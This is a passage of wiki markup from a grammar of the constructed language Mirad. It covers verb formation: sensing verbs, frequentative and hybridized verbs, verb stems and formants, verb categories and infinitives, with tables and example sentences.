| '''tayotyafwa'''&lt;br&gt;''palpable'' || '''tayotyafwer'''&lt;br&gt;''be palpable'' || '''tayotyofwa'''&lt;br&gt;''numb'' || '''tayotyofwer'''&lt;br&gt;''be impalbable, numb''
|-
!row=1| '''Patient''' 
| '''testyukwa'''&lt;br&gt;''easy to understand'' || '''testyukwaxer'''&lt;br&gt;''make easily understood'' || '''testyikwa'''&lt;br&gt;''hard to understand'' || '''testyikwaxer'''&lt;br&gt;''make hard to understand''
|-
!row=1| '''Subject'''
| '''tudyaka'''&lt;br&gt;''pregnant, expecting'' || '''tudyaker'''&lt;br&gt;''be expecting''|| ||
|-
!row=1| '''Patient'''
|'''mamilyakwa'''&lt;br&gt;''likely to rain'' || '''mamilyakwer'''&lt;br&gt;''to be expected to rain''|| '''mamilyokwa'''&lt;br&gt;''unlikely to rain''|| '''mamilyokwer'''&lt;br&gt;''to be unlikely to rain''
|-
!row=1| '''Subject''' 
| '''tilefa'''&lt;br&gt;''thirsty'' || '''tilefer'''&lt;br&gt;''be thirsty'' || ||
|-
!row=1| '''Subject''' 
| '''telefa'''&lt;br&gt;''hungry'' || '''telefer'''&lt;br&gt;''be hungry'' || ||
|-
!row=1| '''Patient''' 
| '''tejefwa'''&lt;br&gt;''vital'' || '''tejefwer'''&lt;br&gt;''be vital'' || ||
|-
!row=1| '''Subject''' 
| '''tujefa'''&lt;br&gt;''sleepy'' || '''tujefer'''&lt;br&gt;''be sleepy'' || ||
|-
!row=1| '''Subject''' 
| '''nasefa'''&lt;br&gt;''poor, needy'' || '''nasefer'''&lt;br&gt;''be needy'' || ||
|-
!row=1| '''Subject''' 
| '''dudyefa'''&lt;br&gt;''accountable, responsible'' || '''dudyefer'''&lt;br&gt;''be responsible'' || ||
|-
!row=1| '''Patient'''
| '''texiyefwa'''&lt;br&gt;''noteworthy'' || '''texiyefwer'''&lt;br&gt;''be noteworthy'' || ||
|}

== Sensing Verbs ==
: Verbs involving the senses, such as sight or hearing, follow a similar pattern, as the following chart shows:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Sensing Verbs
|- valign=top
! TYPE !! '''teab'''....''eye''&lt;br&gt;'''teata'''....''visual'' !! '''teeb'''....''ear''&lt;br&gt;'''teeta'''....''acoustic'' !! '''teib'''....''nose''&lt;br&gt;'''teita'''....''olfactory'' !! '''teub'''....''mouth''&lt;br&gt;'''teuta'''....''gustatory'' !! '''tayob'''....''skin''&lt;br&gt;'''tayota'''....''tactile''
|- valign=top
!row=1| Receptive&lt;br&gt;Active 
| '''teater'''&lt;br&gt;''see'' || '''teeter'''&lt;br&gt;''hear'' || '''teiter'''&lt;br&gt;''smell'' || '''teuter'''&lt;br&gt;''taste'' || '''tayoter'''&lt;br&gt;''feel''
|-  valign=top
!row=1| Receptive&lt;br&gt;Passive 
| '''teatwer'''&lt;br&gt;''be seen'' || '''teetwer'''&lt;br&gt;''be heard'' || '''teitwer'''&lt;br&gt;''be smelled'' || '''teutwer'''&lt;br&gt;''be tasted'' || '''tayotwer'''&lt;br&gt;''be felt''
|-  valign=top
!row=1| Stative  
| '''teaser'''&lt;br&gt;''seem'' || '''teeser'''&lt;br&gt;''sound'' || '''teiser'''&lt;br&gt;''smell'' || '''teuser'''&lt;br&gt;''taste'' || '''tayoser'''&lt;br&gt;''feel'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Active 
| '''teaxer'''&lt;br&gt;''look at'' || '''teexer'''&lt;br&gt;''listen'' || '''teixer'''&lt;br&gt;''sniff'' || '''teuxer'''&lt;br&gt;''taste'' || '''tayoxer'''&lt;br&gt;''touch'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Passive 
| '''teaxwer'''&lt;br&gt;''be looked at'' || '''teexwer'''&lt;br&gt;''be listened to'' || '''teixwer'''&lt;br&gt;''be sniffed'' || '''teuxwer'''&lt;br&gt;''be tasted'' || '''tayoxwer'''&lt;br&gt;''be touched''
|-  valign=top
!row=1| Causative&lt;br&gt;Active
| '''teatuer'''&lt;br&gt;''show'' || '''teetuer'''&lt;br&gt;''make hear'' || '''teixuer'''&lt;br&gt;''make smell'' || '''teuxuer'''&lt;br&gt;''offer a taste'' || '''tayoxuer'''&lt;br&gt;''make feel''
|-  valign=top
!row=1| Causative&lt;br&gt;Passive
| '''teatuwer'''&lt;br&gt;''be shown'' || '''teetuwer'''&lt;br&gt;''be made to hear'' || '''teituwer'''&lt;br&gt;''be made to smell'' || '''teutuwer'''&lt;br&gt;''be given a taste'' || '''tayotuwer'''&lt;br&gt;''be made to feel''
|-  valign=top
!row=1| Inchoative&lt;br&gt;Active 
| '''teatier'''&lt;br&gt;''perceive,''&lt;br&gt;''catch sight of'' || '''teetier'''&lt;br&gt;''catch the&lt;br&gt;sound of'' || '''teitier'''&lt;br&gt;''get a whiff of'' || '''teutuer'''&lt;br&gt;''get a taste of'' || '''tayotier'''&lt;br&gt;''get the sensation of'' 
|-  valign=top
!row=1| Inchoative&lt;br&gt;Passive 
| '''teatiwer'''&lt;br&gt;''be perceived'' || '''teetiwer'''&lt;br&gt;''be heard'' || '''teitiwer'''&lt;br&gt;''be whiffed'' || '''teutiwer'''&lt;br&gt;''be tasted'' || '''tayotiwer'''&lt;br&gt;''be felt'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofer'''&lt;br&gt;''be blind'' || '''teetyofer'''&lt;br&gt;''be deaf'' || '''teityofer'''&lt;br&gt;''be unable to smell'' || '''teityofer'''&lt;br&gt;''be unable to taste'' || '''tayotyofer'''&lt;br&gt;''be insensitive'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofwer'''&lt;br&gt;''be invisible'' || '''teetyofwer'''&lt;br&gt;''be inaudible'' || '''teityofwer'''&lt;br&gt;''be undetectable&lt;br&gt;odorwise'' || '''teityofwer'''&lt;br&gt;''be insipid'' || '''tayotyofwer'''&lt;br&gt;''be undetectable&lt;br&gt;by touch'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofxer'''&lt;br&gt;''blind'' || '''teetyofxer'''&lt;br&gt;''deafen'' || '''teityofxer'''&lt;br&gt;''desensitize&lt;br&gt;to smell'' || '''teutyofxer'''&lt;br&gt;''desensitize to&lt;br&gt;taste'' || '''tayotyofxer'''&lt;br&gt;''desensitize'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofwaxer'''&lt;br&gt;''make invisible'' || '''teetyofwaxer'''&lt;br&gt;''make inaudible'' || '''teityofwaxer'''&lt;br&gt;''make odorless'' || '''teutyofwaxer'''&lt;br&gt;''render tasteless'' || '''tayotyofwaxer'''&lt;br&gt;''numb'' 
|}
: Examples of usage:

:* '''At &lt;u&gt;teatyofxwa&lt;/u&gt; bey ha mani.'''....''I &lt;u&gt;was blinded&lt;/u&gt; by the lights.''
:* '''Ha xeus sa &lt;u&gt;teetyofxyea&lt;/u&gt;.'''....''The noise was &lt;u&gt;deafening&lt;/u&gt;.''
:* '''Hia tit se gla &lt;u&gt;teatiyafa&lt;/u&gt;.'''....''This pupil is very &lt;u&gt;perceptive&lt;/u&gt;.''
:* '''Hua bekil se &lt;u&gt;teityofwa&lt;/u&gt;.'''....''That medicine is &lt;u&gt;odorless&lt;/u&gt; (impossible to smell).''
:* '''&lt;u&gt;Teatyofwaxu&lt;/u&gt; ha vyuni.'''....''&lt;u&gt;Make&lt;/u&gt; the spots &lt;u&gt;invisible&lt;/u&gt;.''
:* '''Ha magmemyaz yonpyexlun &lt;u&gt;tayotyafwa&lt;/u&gt; zya ha mir.'''....''The volcano eruption &lt;u&gt;could be felt&lt;/u&gt; throughout the world.''

== Frequentative Verbs ==
:Frequentative verbs or repetitive action verbs can be formed with the prefix '''je-'''.  This prefix gives the verb the meaning ''to keep on doing something''.

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Frequentative Verbs
|-
! Normal !! Frequentative
|-
| '''teaxer'''....''to look''||'''&lt;u&gt;je&lt;/u&gt;teaxer'''....''to watch''
|-
| '''bexer'''....''to hold''||'''&lt;u&gt;je&lt;/u&gt;bexer'''....''to conserve''
|-
| '''byexer'''....''to hit''||'''&lt;u&gt;je&lt;/u&gt;byexer'''....''to batter''
|-
| '''zoigper'''....''to pursue''||'''&lt;u&gt;je&lt;/u&gt;zoigper'''....''to stalk''
|-
| '''duler'''....''to urge'' || '''&lt;u&gt;je&lt;/u&gt;duler'''....''to nag''
|}

== Hybridized Verbs ==
: Verbs that involve motion directions that change back and forth can be formed by hybridizing the stem vowel or the vowel of the vectorial prefix.  Here are some examples:

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Hybridized Verbs
|-
! First Verb !! Second Verb !! Hybridized Verb
|-
| '''py&lt;u&gt;a&lt;/u&gt;ser'''....''jump up''|| '''py&lt;u&gt;o&lt;/u&gt;ser'''....''fall down'' || '''py&lt;u&gt;ao&lt;/u&gt;ser'''....''bounce, undulate''
|-
| '''buer'''....''give'' || '''bier'''....''take'' || '''buier'''....''exchange''
|-
| '''nuer'''....''furnish'' || '''nier'''....''consume'' || '''nuier'''....''trade''
|-
| '''tuer'''....''inform'' || '''tier'''....''learn'' || '''tuier'''....''communicate''
|-
| '''yaper'''....''ascend'' || '''yoper'''....''descend'' || '''yaoper'''....''go up and down''
|-
| '''zayper'''....''go forward'' || '''zoyper'''....''go back'' || '''zaoper'''....''vacillate''
|-
| '''vader'''....''affirm'' || '''voder'''....''deny'' || '''vaoder'''....''decide''
|-
| '''yijber'''....''open'' || '''yujber'''....''close'' || '''uijber'''....''valve''
|-
| '''baser'''....''stir'' || '''boser'''....''be still'' || '''baoser'''....''vibrate''
|}

== Expressing Habitual Actions and States ==
: Mirad uses the term '''gel jubyen''' (''as a habit'') to express a verb reflecting habitual action, eg:
::* '''At tijeya be yiwa jwobi gel jubyen.'''....''I used to wake up at 9 o'clock.'' (Lit. ''I was waking up at 9 o'clock as a habit.'').
: The term '''hyujod'''....''one another occasion'' (or '''be aj'''....''in the past'') is use to express ''once (upon a time)'', eg:
::* '''At sa tuxut hyujod (~ be aj) sa tuxut.''' ....''I once was a teacher.''
: The term '''vyabxelay''' (''routinely'') can also be used, eg:
::* '''Yat eke duz yuz bi ha doym vyabxelay.'''....''We play music around town routinely.''

== Expressing an Immediate Past ==
: To express an immediate past, such as in the sentence ''&quot;We have just gotten married.&quot;'', Mirad uses the adverb '''ejnay''' (''newly'') much like the word ''just'' in English:
::* '''Yat tadsaye &lt;u&gt;ejnay&lt;/u&gt;.'''....''We have &lt;u&gt;just&lt;/u&gt; gotten married.''
::* '''&lt;u&gt;Ejnay&lt;/u&gt; tadxwa.'''....''&lt;u&gt;Just&lt;/u&gt; married.''
::* '''Wit dokebiwa &lt;u&gt;ejnay&lt;/u&gt;.'''....''He was &lt;u&gt;just&lt;/u&gt; elected.''
::* '''At ujbaya yex &lt;u&gt;ejnay&lt;/u&gt; hoj iyt yebupa.'''....''I had &lt;u&gt;just&lt;/u&gt; finished work when she came in.''

== Verb Predicate Types ==
: Mirad verb predicates can be classified as follows:
:* '''''Voice'''''
::* Active (The subject is the doer of the action)
::* Passive (The subject is the receiver of the action)
::* Middle (The subject is both the agent and patient)
::* Reflexive (The subject is also the patient.)
::* Reciprocal (Plural subjects interact.)
:* '''''Stativity'''''
::* Stative (Does not involve action)
::* Dynamic (Action is involved)
:* '''''Valency'''''
::* Impersonal (There is no subject)
::* Transitive (There is an object)
::* Intransitive (There is no object)
::* Auto-transitive (The subject is a patient and there is no agent)
::* Anti-transitive (There is the patient but an agent is assumed)
::* Causative (Subject causes an action to be performed)
::* Copula (X is Y)
:* '''''Other'''''
::* Modal (''can, must, should, wants to''...)
::* Auxiliary (''help to, hope to, prepare to'' + verb)
::* Motion (''run, go, ride''...)
::* Communication (''say, answer, claim that...'')
::* Gesture (''put, shake, hit...'')
::* State/Stative (''be, become, live, be born...'')
::* Action/Dynamic (''do, act, make'')

{| class=&quot;wikitable&quot; style=&quot;background: lightYellow;;{{Text default color}};font-size:smaller;&quot;
|+ Verb Predicate Types
|-
! Voice !! Stativity!! Valency !! Example
|-
| active || stative || impersonal, -agent, -object || '''Mamilo zajub.'''....''It will rain tomorrow.''
|-
| active || stative || impersonal, -agent, +complement || '''Sa gla oma.'''....''It was very cold.''
|-
| active || stative || impersonal, +subject || '''Ese het be ha mes.'''....''There is someone at the door.''
|-
| active || stative || copula, subject + noun/adjective complement || '''Et se ata twud.'''....''You are my son.''&lt;br&gt;'''At aseye ebbyextipa.'''....''I am becoming angry.''
|-
| middle || stative || auto-transitive, +subject=patient -agent -object || '''Iyt toja.'''....''She died''
|-
| middle || stative || auto-transitive, +subject=patient +agent -object || '''Ha mes yija.'''....''The door opened.''
|-
| active || stative || intransitive, +subject -object|| '''Et bokso.'''....''You will get sick.''
|-
| active || stative || transitive, sense, +subject +object || '''At teate et.'''....''I see you.''
|-
| active || stative || transitive, modal, +subject +verb complement || '''At fe per.'''....''I want to go.''
|-
| active || stative || intransitive, subject-oriented modal, -subject +verb complement || '''Yofwe teater.'''....''It is impossible to see.'' 
|-
| passive || stative || patient-oriented modal, +subject || '''Mamil yakwe.'''....''Rain is expected.''
|-
| middle || dynamic || anti-transitive, +subject=patient +agent -object || '''Ha mes yijpa.'''....''The door came open.''
|-
| active || dynamic || intransitive, +subject -object|| '''Ha fab pyosa.'''....''The tree fell.''
|-
| active || dynamic || transitive, +subject  +-object || '''Yit pyoxa ha fab.'''....''They felled the tree.''
|-
| passive || dynamic || intransitive, +subject, -object || '''Ha fabi pyoxwa.'''....''The trees were felled.''
|-
| active || dynamic || transitive, +subject, +object|| '''Obu eta tef.'''....''Take your hat off.''
|-
| active || dynamic || ditransitive, +subject, +object +object || '''Von et buu iyt ha nas.'''....''Don't give her the money.''
|-
| active || dynamic || transitive, motion, +subject, +destination/origin || '''Yupu ha seem.'''....''Approach the bench.''&lt;br&gt;'''Pu tam!'''....''Go home!'' (''you'' implied)
|-
| active || dynamic || causative, +subject +object, +agent || '''At tayegobluxo Jon.'''....''I will get my hair cut by John.''
|-
| passive || dynamic || causative, +subject +object, +agent || '''At tayegobluxwo.'''....''I will get my hair cut.''
|-
| active || dynamic || auxiliary, ditransitive, +patient +verb object || '''Yuxu at xer his.'''....''Help me do this.''
|-
| passive || dynamic || auxiliary, ditransitive, +patient +verb object || '''At tuxwa eker duz.'''....''I was taught to play music.''
|-
| middle || dynamic || reflexive, +subject = patient, -object || '''Iyt uttojba.'''....''She killed herself.''
|-
| active || dynamic || reciprocal, +subjects = patients || '''Yit voy hyuitdale gaj.'''....''They don't talk to one another anymore.''
|}
&lt;noinclude&gt;{{Chapter navigation with TOC|Pronouns|Prepositions}}&lt;/noinclude&gt;</text>
      <sha1>aalsljveauy35n2ixxakrz97w5n97ev</sha1>
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    <revision>
      <id>4670505</id>
      <parentid>4670504</parentid>
      <timestamp>2026-09-16T20:18:29Z</timestamp>
      <contributor>
        <username>Tyoyafud</username>
        <id>6233</id>
      </contributor>
      <comment>/* Expressing Good Actions with fi- */</comment>
      <origin>4670505</origin>
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== The Verb Stem  ==
[[File:Various forms of using the verb &quot;to inform&quot; in LSC.png|thumb|]]
: Verbs in Mirad are listed in the dictionary under the present active infinitive (see [[Mirad Grammar/Verbs#Non-finite Forms]]), such as '''yexer'''....''to work''. The infinitive minus the '''er''' ending is the stem.  The stem is used as the base for all other verbal instantiations.  The infinitive as listed in the dictionary is usually active in voice, but occasionally a passive infinitive ending in '''-wer''' will be lexicalized because it is somehow special, so then, the stem is still the infinitive minus the '''-er''' ending.  All Mirad verbs are conjugated in the same way and there are no exceptions.

: This shows how to determine the '''''stem''''' of a verb listed in the dictionary:


::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Stems
|-
! Simple Infinitive !! Stem&lt;big&gt;+&lt;/big&gt;Infinitive Ending
|-
| '''yex&lt;u&gt;er&lt;/u&gt;'''....''to work'' || '''yex&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''pos&lt;u&gt;er&lt;/u&gt;'''....''to (come to a) stop''  || '''pos&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''x&lt;u&gt;er&lt;/u&gt;'''....''to do'' || '''x&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''xw&lt;u&gt;er&lt;/u&gt;'''....''to happen, be done'' (PASSIVE)|| '''xw&lt;big&gt;+&lt;/big&gt;er'''
|}
=== Verb Formants ===
: The active stems of verbs most often end in one of the following verb formants:

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Formats
|-
! Verb Formant !! Function !! Examples
|-
| '''-x-''' || action or causation || '''xer'''....''to do'', '''saxer'''....''to create'', '''agaxer'''....''to magnify'', '''yixer'''....''to use'', '''abaxer'''....''to pat''
|-
| '''-xl-'''|| forceful action || '''yixler'''....''to employ'', '''abaxler'''....''to knead''
|-
| '''-xr-'''|| more forceful action || '''yixrer'''....''to wear out'', '''abaxrer'''....''to rub''
|-
| '''-b-'''|| gesture || '''ber'''....''to put'', '''aber'''....''to apply'', '''yujber'''....''to close'', '''gober'''....''to subtract''
|-
| '''-bl-'''|| forceful gesture || '''yujbler'''....''to lock'', '''gobler'''....''to cut''
|-
| '''-br-'''|| more forceful gesture || '''yobrer'''....''to knock down'', '''gobrer'''....''to chop''
|-
| '''-s-''' || state or becoming || '''ser'''....''to be'', '''eser'''....''to exist'', '''aser'''....''to become'', '''beser'''....''to remain'', '''paser'''....''to move''
|-
| '''-sl-''' || more intensive || '''besler'''....''to linger'', '''pasler'''....''to shake''
|-
| '''-sr-''' || most intensive || '''besrer'''....''to loiter'', '''pasrer'''....''to convulse''
|-
| '''-p-''' || motion or going || '''per'''....''to go'', '''yaper'''....''to ascend'', '''paper'''....''to fly''
|-
| '''-pl-''' || more intensive || '''yapler'''....''to climb'', '''zyepler'''....''to intrude''
|-
| '''-pr-''' || most intensive || '''yaprer'''....''to scramble up'', '''yeprer'''....''to break in''
|-
| '''-i-'''|| action toward subject || '''bier'''....''to take'', '''nier'''....''to consume'', '''ifier'''.'..''to enjoy'', '''dier'''....''to ask''
|-
| '''-u-'''|| action toward object || '''buer'''....''to give'', '''nuer'''....''to supply'', '''ifuer'''....''to please'', '''duer'''....''to suggest''
|-
| '''-d-''' || communication || '''der'''....''to say'', '''vader'''....''to affirm'', '''yevder'''....''to judge''
|-
| '''-dr-''' || writing || '''drer'''....''to write'', '''teedrer'''....''to report'', '''taxdrer'''....''to record''
|-
| '''-dy-''' || reading || '''dyer'''....''to read''
|-
| '''-t-''' || knowing (a thing)|| '''ter'''....''to know'', '''tester'''....''to understand'', '''teater'''....''to see''
|-
| '''-tr-''' || knowing (a person)|| '''trer'''....''to recognize''
|-
| '''-ty-''' || knowing (how) || '''tyer'''....''to know how''
|-
| '''-f-''' || volition and modal verbs || '''fer'''....''to want'', '''ifer'''....''to love'', '''ufer'''....''to hate'', '''yafer'''....''to be able''
|-
| '''-fi-''' || toward the subject || '''ifier'''....''to enjoy''
|-
| '''-fu-''' || toward a patient || '''ifuer'''....''to amuse''
|-
| '''-fl-''' || more intensive || '''ifler'''....''to be fond of'', '''yafler'''....''to wield power''
|-
| '''-fli-''' || toward the subject || '''iflier'''....''to be charmed by''
|-
| '''-flu-''' || toward a patient || '''ifluer'''....''to enchant''
|-
| '''-fr-''' || most intenstive || '''ifrer'''....''to worship'', '''ufrer'''....''to loathe'', '''yufrer'''....''to cringe''
|-
| '''-fri-''' || toward the subject || '''ifrier'''....''to become infatuated with''
|-
| '''-fru-''' || toward a patient || '''ifruer'''....''to infatuate''
|-
| '''-v-''' || some modal verbs || '''yiver'''....''to have a right to'', '''yuver'''....''to have a duty to''
|-
| '''-vi-''' || toward the subject || '''ivier'''....''to derive joy from''
|-
| '''-vu-''' || toward a patient || '''ivuer'''....'' to cheer up''
|-
| '''-vl-''' || more intensive || '''yuvler'''....''to be bound to'', '''yavler'''....''to be proud''
|-
| '''-vli-''' || toward the subject || '''yavlier'''....''to take pride in''
|-
| '''-vlu-''' || toward a patient || '''yavluer'''....''to instill pride in''
|-
| '''-vr-''' || most intensive || '''uvrer'''....''to grieve''
|-
| '''-vri-''' || toward the subject || '''uvrier'''....''to grieve''
|-
| '''-vru-''' || toward a patient || '''uvruer'''....''to aggrieve''
|-
| '''-k-''' || various verbs || '''aker'''....''to win'', '''oker'''....''to lose'', '''eker'''....''to play'', '''yeker'''....''to try'', '''yaker'''....''to expect'', '''yoker'''....''to be surprised by''
|-
| '''-ki-''' || toward the subject || '''akier'''....''to gain from'', '''yekier'''....''to undertake''
|-
| '''-ku-''' || toward a patient || '''yekuer'''....''to challenge''
|-
| '''-kl-''' || more intensive || '''akler'''....''to conquer'', '''yekler'''....''to strive''
|-
| '''-kli-''' || toward the subject || '''eklier'''....''to take a risk''
|-
| '''-klu-''' || toward a patient || '''ekluer''....''to put at risk''
|-
| '''-kr-''' || most intensive || '''akrer'''....''to triumph''
|-
| '''-j-''' || opening/closing || '''ijer'''....''to begin'', '''ujer'''....''to end'', '''tajer'''....''to be born'', '''tojer'''....''to die'', '''yujer'''....''to close''
|-
| '''-jl-''' || more intensive || '''yujler'''....''to lock''
|-
| '''-jr-''' || most intensive || '''yujrer'''....''to block''
|-
| '''-l-''' || a few verbs || '''baler'''....''to press'', '''boler'''....''to support'', '''beler'''....''to carry'', '''daler'''....''to speak'', '''deler'''....''to state'', '''doler'''....''to be quiet'', '''galer'''....''to multiply'', '''goler'''....''to divide'', ....'''mageler'''....''to cook''
|-
| '''-r-''' || a few verbs || '''ingarer'''....''to cube'', '''engorer'''....''to get the square root of'''''barer'''....''to crush''
|-
| '''-ar-'''&lt;br&gt;'''-ir-'''&lt;br&gt;'''-ur-'''|| tool use || '''ukarer'''....''to shovel'', '''purer'''....''to drive'', '''myekirer'''....''to mill''
|-
| '''-z-'''|| perform an art || '''dazer'''....''to dance'', '''dezer'''....''to act'', '''deuzer'''...''to sing''
|}
: Verbs containing formants '''s''' or '''p''' are generally intransitive, while all the other formants create transitive verbs.  All of the verbs with transitive formants can be passivized by adding '''w''', eg.:
:* '''oker'''....''to lose'' &lt;big&gt;→&lt;/big&gt; '''okwer'''....''to be lost''
:* '''baler'''....''to press'' &lt;big&gt;→&lt;/big&gt; '''balwer'''....''to be pressed''
:* '''koxer'''....''to hide''  &lt;big&gt;→&lt;/big&gt; '''koxwer'''....''to be hidden''
:* '''ujler'''....''to lock''  &lt;big&gt;→&lt;/big&gt; '''ujlwer'''....''to be locked''
:* '''ser'''....''to be'' (cannot be passivized)
:* '''per'''....''to go'' (cannot be passivized)
: Some verbs with formants '''-pl-''' and '''-pr-''' can usually be passivized with '''w''', eg.:
:* '''yaprer'''....''to climb''  &lt;big&gt;→&lt;/big&gt; '''yaprwer'''....''to be climbed''
:* '''aypler'''....''to surmount''  &lt;big&gt;→&lt;/big&gt; '''ayplwer'''....''to be surmounted''

== Verb Categories ==

: Verbs have '''''morphological categories''''', which involve changes to the verb not always found in the dictionary, but developed through rule-bound affixation (such as ''live'', ''lives'', ''lived'', ''living'').  They also have '''''lexical categories''''', which involve derived forms usually listed in dictionaries (''enjoy'', ''enjoyable'', ''enjoyment'')

=== Morphological Categories ===
 
: Verbs are inflected with the following '''''morphological categories''''': 

::* '''''2 states''''': finite, non-finite
::* '''''4 tenses''''': present, past, future, atemporal&lt;sup&gt;1&lt;/sup&gt;
::* '''''5 aspects''''': simple, progressive, perfect, imminent, potential
::* '''''2 voices''''': active, passive
::* '''''2 moods''''': indicative, hypothetical


:&lt;small&gt;'''''Note 1:''''' The term &quot;atemporal&quot; means that tense is not marked.  For example, in Mirad, '''Pu!''' is the imperative of the verb '''per'''....''to go''.  It means ''Go!'' and is atemporal.  The '''-u''' ending is an atemporal hypothetical mood marker.&lt;/small&gt;

: In effect, the PERSON/NUMBER category is not listed above, because this category does not affect the morphology of the Mirad verb form itself. The Mirad verb form stays the same for all persons and numbers.  That information is contained in the external subject pronouns governing the verb.  In English, for example, the verb &quot;be&quot; has several different forms in the present tense verb form depending on the person and number (I &lt;u&gt;am&lt;/u&gt;, you &lt;u&gt;are&lt;/u&gt;, he &lt;u&gt;is&lt;/u&gt;, we &lt;u&gt;are&lt;/u&gt;, etc.), but not so in Mirad.  The following chart shows how the English pattern differs from the corresponding single Mirad verb form '''se''' for all persons and numbers:


:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller&quot;
|+ Verb '''ser''' (''to be'') Unchanged for person/number
|-
! Person !! Number !! English !! Mirad
|-
!row=1| 1st !! row=1 rowspan=3| Singular 
| ''I &lt;u&gt;am&lt;/u&gt;'' || '''at &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you &lt;u&gt;are&lt;/u&gt;'' || '''et &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''he/she &lt;u&gt;is&lt;/u&gt;'' || '''it &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 1st !! row=1 rowspan=3| Plural 
| ''we &lt;u&gt;are&lt;/u&gt;'' || '''yat &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you (pl.) &lt;u&gt;are&lt;/u&gt;'' || '''yet &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''they &lt;u&gt;are&lt;/u&gt;'' || '''yit &lt;u&gt;se&lt;/u&gt;'''
|}

: This invariability of person/number exists for all tenses.

=== Lexical Categories ===

:: In addition, verbs can be described in terms of the following opposing '''''lexical''''' categories.  By lexical, is meant that verbs having different lexical properties are listed in the dictionary and have nothing to do with conjugation.


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;margin-left:1.6em;&quot;
|+ Verb Lexical Categories
|-
! Stative !! Dynamic
|-
| '''ser'''....''to be'' || '''xer'''....''to do''
|-
! Intransitive !! Transitive
|-
| '''agaser'''....''to grow large'' || '''agaxer'''....''to magnify''
|-
! Subject-directed !! Patient-directed
|-
| '''bier'''....''to take'' || '''buer'''....''to give''
|-
! Reflexive !! Non-reflexive
|-
| '''utvyixer'''....''to wash up (wash oneself)'' || '''vyixer'''....''to wash''
|-
! Inchoative !! Causative
|-
| '''tujper'''....''fall asleep'' || '''tujber'''....''put to sleep''
|-
! Autonomous !! Dynamic
|-
| '''yijer'''....''to open (by itself)'' || '''yijber'''....''to (make it) open''
|-
! Reciprocal !! Non-reciprocal
|-
| '''hyuittujber'''....''to kill one another'' || '''tujber'''....''to kill''
|-
! Gestural !! Locomotive
|-
| '''baser'''....''to stir, budge'' || '''paser'''....''to move''
|-
! Subject-oriented !! Object-oriented
|-
| '''teetyiker'''....''to be hard of hearing'' || '''teetyikwer'''....''to be hard to hear''
|}

== Non-finite Forms ==
: '''''Non-finite verb forms''''' are
::* not conjugated for person or number
::* cannot form a predicate
::* and do not have a subject.  

: There are three kinds of non-finite verb forms in Mirad:

::* '''''infinitives''''': the dictionary lookup form of a verb, ending in '''-er'''
:::* '''der'''....''to say'', '''tixayer'''....''to have studied'', '''xwer'''....''to be done''
::* '''''gerunds''''': verbal nouns, ending in '''-en'''
:::* '''byasen'''....''(the act of) standing''
::* '''''participles''''': verbal adjectives, ending in '''-a'''
:::* '''tejea'''....''living (alive)'', '''twa'''....''known'', '''piya'''....''departed''
=== Infinitives ===
: Verbs are listed in the dictionary under the '''''active voice simple aspect infinitive''''' form, which always ends in '''er''' and means ''to X'', or rarely the passive voice simple aspect infinitive form, which ends in '''wer''' and means ''to be Xed''.  The part of the verb form minus the '''-er''' or '''-wer''' is the '''''verb stem'''''. Very rarely at verb can be expressed as a past active or past passive infinitive in '''ayer''' and '''awer''', respectively. (For example: '''Tejayer boy ifawer naze glo.'''....''To have lived without having loved counts little.'').

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em&quot;
|+ Infinitive Stems
|-
! Infinitivw || Stem !! Ending
|-
| '''agser'''....''to grow'' || '''ags-''' || '''-er'''  
|-
| '''igxer'''....''to quicken'' || '''igx-''' || '''-er''' 
|-
| '''per'''....''to go'' || '''p-''' || '''-er'''  
|-
| '''xwer'''....''to happen, be done'' || '''x-''' || '''-wer''' 
|-
| '''tejayer'''....''to have lived'' || '''tej-''' || '''-ayer'''
|-
| '''ifawer'''....''to have loved'' || '''if-''' || '''-awer'''
|}

: The infinitive in Mirad is used very much as its counterpart in English.  The infinitive can be marked for two aspects (simple, perfect) and two voices (active, passive), as shown in the chart below, where the verb stems are underlined:


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Active and Passive Infinitive Stems
|-
! Aspect !! Active Voice !! Passive Voice
|-
!row=1| Simple
| '''&lt;u&gt;igx&lt;/u&gt;er'''....''to quicken'' || '''&lt;u&gt;igx&lt;/u&gt;wer'''....''to be quickened''
|-
!row=1| Perfect
| '''&lt;u&gt;igx&lt;/u&gt;ayer'''....''to have quickened'' || '''&lt;u&gt;igx&lt;/u&gt;awer'''....''to have been quickened''
|}

: In the above chart,
::* the verb stem is '''igx-''' and
::* the infinitive marker is '''-er''';
::* the simple aspect active voice marker is zero;
::* the simple aspect passive voice marker is '''w''';
::* the perfect aspect active voice marker is '''-ay-''';
